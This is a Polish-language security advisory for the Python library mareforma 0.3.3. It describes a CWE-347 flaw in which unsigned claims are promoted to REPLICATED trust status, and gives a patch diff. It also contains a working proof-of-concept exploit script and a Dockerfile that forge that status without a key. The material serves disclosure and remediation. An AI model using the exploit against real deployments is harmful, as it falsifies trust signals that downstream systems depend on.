Mareforma: Niepodpisane wpisy mogą uzyskać status REPLICATED przez brak weryfikacji podpisu na ścieżce konwergencji
Podsumowanie
mareforma 0.3.3 zawiera krytyczną lukę integralności w logice konwergencji REPLICATED (_maybe_update_replicated_unlocked() w mareforma/db/core.py:1300-1319). Zapytanie SQL wyboru wpisów równorzędnych (peer), które określa, czy dwa niezależne wpisy (claims) „zgadzają się” co do tej samej kotwicy, nie weryfikuje, czy którykolwiek z nich posiada poprawny podpis kryptograficzny z zarejestrowanego klucza walidatora. Ponieważ rekor_enabled=False jest wartością domyślną i automatycznie ustawia transparency_logged=1 w momencie wstawiania, każdy wpis — podpisany lub nie — natychmiast spełnia warunek wstępny konwergencji. Atakujący nieposiadający klucza Mareforma może zapisać niepodpisany wpis do współdzielonego grafu, doprowadzić do jego konwergencji z poprawnie podpisanym wpisem równorzędnym i spowodować podniesienie go do statusu REPLICATED. Sfałszowany wiersz REPLICATED jest następnie zwracany przez domyślne zapytanie zaufania (graph.query(min_support="REPLICATED")), co pozwala atakującemu na wstrzykiwanie fałszywych sygnałów zaufania do dowolnego systemu zależnego, który polega na REPLICATED jako gwarancji wielostronnego zatwierdzenia.
Szczegóły
Przyczyna źródłowa — mareforma/db/core.py:1300-1319
Funkcja konwergencji _maybe_update_replicated_unlocked() wybiera wpisy równorzędne za pomocą zapytania SQL filtrującego według status, unresolved, transparency_logged oraz artifact_hash, lecz nie zawiera żadnego warunku dotyczącego signature_bundle ani tożsamości zarejestrowanego klucza:
# mareforma/db/core.py:1300-1319
rows = conn.execute(
f"""
SELECT DISTINCT c.claim_id, c.generated_by
FROM claims c, json_each(c.supports_json) j
WHERE j.value IN ({placeholders})
AND c.claim_id != ?
AND c.generated_by != ?
AND c.support_level != 'ESTABLISHED'
AND c.status = 'open'
AND c.unresolved = 0
AND c.transparency_logged = 1
AND (
c.artifact_hash IS NULL
OR ? IS NULL
OR c.artifact_hash = ?
)
""",
Po zebraniu pasujących wierszy ujście w core.py:1324-1334 podnosi wszystkie pasujące identyfikatory wpisów — w tym wpis atakującego — do stanu REPLICATED bez żadnej dodatkowej walidacji.
Dlaczego warunki wstępne są trywialnie spełnione
transparency_logged = 1jest ustawiane automatycznie. Gdyrekor_enabled=False(domyślne ustawienie biblioteki),core.py:1061ustawiatransparency_logged = 1natychmiast po wstawieniu. Brak kroku z systemem Rekor sprawia, że każdy wpis kwalifikuje się do konwergencji w momencie zapisu.require_signed=Falsejest wartością domyślną.mareforma/__init__.py:41domyślnie ustawiarequire_signednaFalse. Gdy atakujący otwiera graf ze ścieżką do nieistniejącego klucza,__init__.py:132-138po cichu ustawiasigner = None, co umożliwia wstawianie niepodpisanych wpisów.assert_claim()nie weryfikuje podpisu._graph.py:284-291sprawdza wyłącznie rozpoznawanie DOI na liściesupportsprzed przekazaniem pól kontrolowanych przez atakującego do_db.add_claim()(_graph.py:373-380).
Dlaczego sfałszowany wpis pojawia się w zapytaniach zaufania
Domyślna ścieżka zapytania w core.py:3647-3650 odfiltrowuje tylko wpisy PRELIMINARY, których generator nie jest zarejestrowany. Wpisy o statusie REPLICATED są zwracane bezwarunkowo, przez co niepodpisany, sfałszowany wiersz jest nie do odróżnienia od wiersza z prawidłową konwergencją w jakimkolwiek systemie korzystającym z danych.
Funkcja pomocnicza, która powinna była zostać wywołana
core.py:3661-3669 zawiera _extract_signature_bundle_keyid(), która potrafi wyodrębnić identyfikator klucza z signature_bundle. Ta funkcja pomocnicza istnieje, ale nigdy nie jest wywoływana na ścieżce konwergencji, co wskazuje, że weryfikacja została przypadkowo pominięta, a nie była świadomą decyzją projektową.
Pełny przepływ danych (źródło → ujście)
| Krok | Lokalizacja | Opis |
|---|---|---|
| 1 | cli.py:700-739 |
CLI akceptuje dowolne TEXT, --supports, --generated-by; linie 720-723 wprost dopuszczają tryb niepodpisanego grafu |
| 2 | __init__.py:128-138 |
Brak pliku klucza → signer = None (brak zgłoszenia błędu) |
| 3 | _graph.py:284-291 |
assert_claim() przekazuje kontrolowany przez użytkownika supports dopiero po sprawdzeniu DOI |
| 4 | _graph.py:373-380 |
Wywołuje _db.add_claim() z polami wpisu kontrolowanymi przez atakującego |
| 5 | db/core.py:1208-1214 |
Konwergencja po wstawieniu wyzwalana, gdy unresolved == False oraz transparency_logged == 1 |
| 6 | db/core.py:1300-1319 |
SQL wyboru wpisów równorzędnych — brak weryfikacji signature_bundle lub zarejestrowanego klucza (podatne ujście) |
| 7 | db/core.py:1324-1334 |
Aktualizuje wpisy partnera i atakującego do REPLICATED |
| 8 | db/core.py:3647-3650 |
Domyślne zapytanie zwraca wiersze REPLICATED bez weryfikacji podpisu |
PoC
Wymagania wstępne
python3 -m venv /tmp/mareforma-poc
/tmp/mareforma-poc/bin/pip install mareforma==0.3.3
Lub uruchom w pełni autonomiczny obraz Dockera:
# Build (from the repository root, with the local repo mounted under ./repo)
docker build -f vuln-001/Dockerfile -t mareforma-vuln001 .
# Run (no network required)
docker run --rm --network none mareforma-vuln001
Przebieg ataku krok po kroku
#!/usr/bin/env python3
from pathlib import Path
from tempfile import TemporaryDirectory
import mareforma
from mareforma import signing
with TemporaryDirectory() as td:
root = Path(td)
key_path = root / "root-key.pem"
# Step 1: Legitimate root agent bootstraps a key and creates an ESTABLISHED anchor.
signing.bootstrap_key(key_path)
with mareforma.open(root, key_path=key_path) as g:
anchor = g.assert_claim(
"established anchor",
classification="DERIVED",
generated_by="seed/root",
seed=True,
)
# Step 2: Honest peer asserts a signed PRELIMINARY claim supporting the anchor.
honest = g.assert_claim(
"same result",
supports=[anchor],
generated_by="honest-agent",
)
# Step 3: Attacker opens the same graph with a non-existent key path.
# __init__.py:132-138 silently sets signer=None — unsigned mode.
attacker_key = root / "missing-attacker-key.pem" # does not exist
with mareforma.open(root, key_path=attacker_key) as g:
# Step 4: Attacker inserts an unsigned claim supporting the same anchor.
# Convergence fires in _maybe_update_replicated_unlocked():
# - Two claims share the same ESTABLISHED anchor
# - Different generated_by values
# - Both have transparency_logged=1 (Rekor disabled by default)
# - No signature or enrollment check performed
attack = g.assert_claim(
"forged convergence",
supports=[anchor],
generated_by="attacker-agent",
)
attack_info = g.get_claim(attack)
print(attack_info["support_level"]) # → REPLICATED
print(attack_info["signature_bundle"] is None) # → True (unsigned)
# Step 5: The unsigned REPLICATED claim appears in the default trust query.
results = g.query(min_support="REPLICATED")
for r in results:
print((r["text"], r["support_level"],
r["signature_bundle"] is None, r["generator_enrolled"]))
Oczekiwany wynik
REPLICATED
True
('established anchor', 'ESTABLISHED', False, True)
('forged convergence', 'REPLICATED', True, False) # ← unsigned, unenrolled
('same result', 'REPLICATED', False, True)
Sfałszowany wpis (signature_bundle=None, generator_enrolled=False) zostaje podniesiony do stanu REPLICATED i zwrócony wraz z prawidłowo podpisanymi wpisami.
Środki zaradcze
Ścieżka konwergencji musi wymagać, aby zarówno wpis przychodzący, jak i każdy wybrany wpis równorzędny posiadały poprawny signature_bundle podpisany przez odrębny zarejestrowany klucz walidatora:
--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
- new_status_row = conn.execute(
- "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+ new_status_row = conn.execute(
+ "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+ (new_claim_id,),
).fetchone()
if new_status_row is None or new_status_row["status"] != "open":
return
+ from mareforma import validators as _validators
+ new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+ if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+ return
@@
- SELECT DISTINCT c.claim_id, c.generated_by
+ SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
- if not rows:
+ peer_ids = []
+ for row in rows:
+ peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+ if peer_keyid is None or peer_keyid == new_keyid:
+ continue
+ if not _validators.is_enrolled(conn, peer_keyid):
+ continue
+ peer_ids.append(row["claim_id"])
+
+ if not peer_ids:
return
- peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+ peer_ids = peer_ids + [new_claim_id]
Wpływ
Podatność ta stanowi obejście integralności (CWE-347: Nieprawidłowa weryfikacja podpisu kryptograficznego). REPLICATED jest podstawowym mechanizmem zaufania wielostronnego w mareforma, zaprojektowanym w celu potwierdzenia, że co najmniej dwóch niezależnych, zarejestrowanych walidatorów zaobserwowało i podpisało ten sam wynik. Poprzez ciche pomijanie sprawdzania podpisów i rejestracji na ścieżce konwergencji biblioteka pozwala dowolnemu lokalnemu podmiotowi — bez żadnych poświadczeń kryptograficznych — sfałszować ten sygnał zaufania.
Kogo dotyczy problem: Każdego użytkownika lub systemu, który odpytuje graf mareforma za pomocą min_support="REPLICATED" i traktuje wynik jako dowód wielostronnej walidacji. Dotyczy to zautomatyzowanych potoków (pipelines), paneli audytowych, silników reguł polityk lub systemów zależnych opierających decyzje o zaufaniu na statusie REPLICATED (np. akceptacja zbioru danych, zatwierdzenie artefaktu modelu lub publikacja wyniku).
Ponieważ sfałszowany wpis jest nie do odróżnienia od prawidłowo połączonego wpisu w wynikach zapytań, odbiorcy nie mogą wykryć ataku bez inspekcji pól signature_bundle i generator_enrolled poza pasmem — pól, których domyślny interfejs zapytań biblioteki nie eksponuje.
Luka ta może zostać wykorzystana w konfiguracji domyślnej: require_signed=False, rekor_enabled=False. Atak wymaga jedynie lokalnego dostępu z prawem zapisu do współdzielonej bazy danych grafu (np. współdzielonego systemu plików lub zasobu sieciowego do zapisu) i nie wymaga żadnego klucza Mareforma.
Artefakty odtworzenia błędu
Dockerfile
FROM python:3.12-slim
LABEL description="VULN-001 PoC: Unsigned Claims Promoted to REPLICATED (CWE-347)"
LABEL version="0.3.3"
WORKDIR /app
# Copy the local repository and install from source
COPY repo /app/repo
RUN pip install --no-cache-dir /app/repo
# Copy the proof-of-concept script
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
poc.py
#!/usr/bin/env python3
"""
VULN-001 Proof of Concept
Title: Unsigned Claims Promoted to REPLICATED via Missing Signature Enforcement
CWE-347: Improper Verification of Cryptographic Signature
CVSS: 7.1 (High) — CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N
Root cause:
_maybe_update_replicated_unlocked() in mareforma/db/core.py:1300-1319 selects
peer claims for convergence without checking signature_bundle or enrolled-key
identity. When rekor_enabled=False (the default), transparency_logged is set
to 1 immediately (core.py:1061), so every claim—signed or not—is eligible for
the convergence query. An attacker with no key can therefore write an unsigned
claim that converges with a legitimate signed peer claim and is promoted to
REPLICATED status. The forged REPLICATED row is then returned by the default
query path (core.py:3647-3650) that only filters unenrolled PRELIMINARY claims.
Attack steps:
1. Honest root agent bootstraps a key; auto-enrolls as root validator on first
graph open; asserts an ESTABLISHED seed anchor claim.
2. Honest agent asserts a signed PRELIMINARY peer claim supporting the anchor.
3. Attacker opens the same graph WITHOUT any key (missing-key.pem does not
exist → signer=None per __init__.py:132-138).
4. Attacker asserts an unsigned PRELIMINARY claim supporting the same anchor.
5. Convergence fires: two claims, same ESTABLISHED anchor, different
generated_by, both have transparency_logged=1 (Rekor disabled).
6. Both claims are promoted to REPLICATED. No signature check is performed.
7. graph.query(min_support="REPLICATED") returns the unsigned forged claim.
Expected evidence (deterministic exit code 0):
- attack claim support_level == "REPLICATED"
- attack claim signature_bundle is None (unsigned)
- attack claim generator_enrolled == False
- forged unsigned REPLICATED claim appears in query results
"""
import sys
from pathlib import Path
from tempfile import TemporaryDirectory
import mareforma
from mareforma import signing
SEPARATOR = "-" * 70
def banner(msg: str) -> None:
print(f"\n{SEPARATOR}")
print(f" {msg}")
print(SEPARATOR)
def main() -> int:
print("VULN-001 PoC — Unsigned Claims Promoted to REPLICATED (CWE-347)")
print(f"mareforma version: {mareforma.__version__}")
with TemporaryDirectory() as td:
root = Path(td)
key_path = root / "root-key.pem"
# ------------------------------------------------------------------
# Step 1: Bootstrap a key for the legitimate root agent.
# On first graph open, this key auto-enrolls as the root
# validator, which is required for seed=True.
# ------------------------------------------------------------------
banner("Step 1: Bootstrap signing key for honest root agent")
signing.bootstrap_key(key_path)
print(f" Key path : {key_path}")
print(f" Exists : {key_path.exists()}")
# ------------------------------------------------------------------
# Step 2: Honest root agent creates an ESTABLISHED anchor.
# Uses seed=True, which requires an enrolled validator.
# The first open() with a fresh key auto-enrolls it.
# ------------------------------------------------------------------
banner("Step 2: Honest root agent — create ESTABLISHED anchor + signed peer claim")
with mareforma.open(root, key_path=key_path) as g:
anchor = g.assert_claim(
"established anchor",
classification="DERIVED",
generated_by="seed/root",
seed=True,
)
anchor_info = g.get_claim(anchor)
print(f" anchor claim_id : {anchor}")
print(f" anchor support_level: {anchor_info['support_level']}")
assert anchor_info["support_level"] == "ESTABLISHED", (
f"Unexpected anchor level: {anchor_info['support_level']}"
)
# Honest agent adds a signed peer claim supporting the anchor.
honest = g.assert_claim(
"same result",
supports=[anchor],
generated_by="honest-agent",
)
honest_info = g.get_claim(honest)
print(f" honest claim_id : {honest}")
print(f" honest support_level: {honest_info['support_level']}")
print(f" honest signed : {honest_info['signature_bundle'] is not None}")
# ------------------------------------------------------------------
# Step 3: Attacker opens the graph with a non-existent key.
# __init__.py:132-138: missing file → signer=None (unsigned mode).
# ------------------------------------------------------------------
banner("Step 3: Attacker opens graph WITHOUT a key — unsigned mode")
attacker_key = root / "missing-attacker-key.pem"
print(f" Attacker key path: {attacker_key}")
print(f" Attacker key exists: {attacker_key.exists()} (intentionally absent)")
with mareforma.open(root, key_path=attacker_key) as g:
# Step 4: Attacker asserts an unsigned claim with the same anchor.
# Convergence logic fires: two claims, same ESTABLISHED
# anchor, different generated_by, both transparency_logged=1.
banner("Step 4: Attacker inserts UNSIGNED claim — triggers convergence")
attack = g.assert_claim(
"forged convergence",
supports=[anchor],
generated_by="attacker-agent",
)
attack_info = g.get_claim(attack)
attack_support_level = attack_info["support_level"]
attack_unsigned = attack_info["signature_bundle"] is None
attack_enrolled = attack_info.get("generator_enrolled", False)
print(f" attack claim_id : {attack}")
print(f" attack support_level : {attack_support_level}")
print(f" attack unsigned : {attack_unsigned} (signature_bundle is None)")
print(f" attack enrolled : {attack_enrolled}")
# Step 5: Verify the unsigned REPLICATED claim appears in the
# default query that consumers rely on for trust decisions.
banner("Step 5: Query min_support='REPLICATED' — should include forged claim")
results = g.query(min_support="REPLICATED")
print(f" Total REPLICATED results: {len(results)}")
forged_in_results = False
for r in results:
is_forged = (
r["signature_bundle"] is None
and r.get("generator_enrolled") is False
and r["support_level"] == "REPLICATED"
)
marker = " [FORGED]" if is_forged else " "
print(
f"{marker} text={r['text']!r:30s} "
f"level={r['support_level']:12s} "
f"unsigned={r['signature_bundle'] is None!s:5s} "
f"enrolled={r.get('generator_enrolled', '?')}"
)
if is_forged:
forged_in_results = True
# ------------------------------------------------------------------
# Verdict
# ------------------------------------------------------------------
banner("Verdict")
conditions = {
"attack claim support_level == REPLICATED": attack_support_level == "REPLICATED",
"attack claim is UNSIGNED (signature_bundle is None)": attack_unsigned,
"attack generator_enrolled == False": attack_enrolled is False,
"forged REPLICATED claim visible in query results": forged_in_results,
}
all_pass = True
for desc, result in conditions.items():
status = "PASS" if result else "FAIL"
print(f" [{status}] {desc}")
if not result:
all_pass = False
if all_pass:
print(
"\n [CONFIRMED] VULN-001: unsigned claim promoted to REPLICATED.\n"
" An attacker without any key can forge graph trust.\n"
" The convergence path (core.py:1300-1319) does not check\n"
" signature_bundle or enrolled-key identity."
)
return 0
else:
print(
"\n [NOT TRIGGERED] One or more conditions failed.\n"
" Vulnerability may have been patched or env differs."
)
return 1
if __name__ == "__main__":
sys.exit(main())
Co trzeba zrobić
Zaktualizuj bibliotekę mareforma do wersji 0.3.7 lub nowszej. Ścieżka konwergencji musi wymagać, aby zarówno wpis przychodzący, jak i każdy wybrany wpis równorzędny posiadały poprawny signature_bundle podpisany przez odrębny, zarejestrowany klucz walidatora:
--- a/mareforma/db/core.py
+++ b/mareforma/db/core.py
@@
- new_status_row = conn.execute(
- "SELECT status FROM claims WHERE claim_id = ?", (new_claim_id,),
+ new_status_row = conn.execute(
+ "SELECT status, signature_bundle FROM claims WHERE claim_id = ?",
+ (new_claim_id,),
).fetchone()
if new_status_row is None or new_status_row["status"] != "open":
return
+ from mareforma import validators as _validators
+ new_keyid = _extract_signature_bundle_keyid(new_status_row["signature_bundle"])
+ if new_keyid is None or not _validators.is_enrolled(conn, new_keyid):
+ return
@@
- SELECT DISTINCT c.claim_id, c.generated_by
+ SELECT DISTINCT c.claim_id, c.generated_by, c.signature_bundle
@@
- if not rows:
+ peer_ids = []
+ for row in rows:
+ peer_keyid = _extract_signature_bundle_keyid(row["signature_bundle"])
+ if peer_keyid is None or peer_keyid == new_keyid:
+ continue
+ if not _validators.is_enrolled(conn, peer_keyid):
+ continue
+ peer_ids.append(row["claim_id"])
+
+ if not peer_ids:
return
- peer_ids = [r["claim_id"] for r in rows] + [new_claim_id]
+ peer_ids = peer_ids + [new_claim_id]
Czego dotyczy
Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.
| Platforma | Paczka | Podatne wersje | Poprawka w wersji |
|---|---|---|---|
| Python (PyPI) | mareforma | >= 0.3.0, < 0.3.7 | 0.3.7 |
Odnośniki
- https://github.com/mareforma/mareforma/security/advisories/GHSA-8776-qf3h-26r3
- https://nvd.nist.gov/vuln/detail/CVE-2026-71535
- https://github.com/mareforma/mareforma/pull/18
- https://github.com/mareforma/mareforma/commit/e1bf09e515693a7f2a2a80852b05fa66be44302e
- https://github.com/mareforma/mareforma
- https://github.com/mareforma/mareforma/releases/tag/v0.3.7
- Wektor CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N- Słabość (CWE)
CWE-347- Platforma
- Python (PyPI)
- Paczka
mareforma- Ujawniono
- 19.11.2026
- Aktualizacja
- 20.11.2026 10:00
Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.
OSV / GitHub Advisory Database - GHSA-8776-qf3h-26r3 - CC BY 4.0
Historia podatności: mareforma
Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.
- Wszystkich wpisów
- 5
- Pierwsza → ostatnia
- 11.2026 11.2026
- Bez poprawki
- 0
- Wykorzystywana w atakach
- 0
Rozkład istotności
- Wysoka 2
- Średnia 3
Ujawnienia w latach
- 2026: 5
-
Mareforma: Niepodpisane wpisy mogą uzyskać status REPLICATED przez brak weryfikacji podpisu na ścieżce konwergencji ten wpis
Dowiedz się, które podatności dotyczą Twojej aplikacji
Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.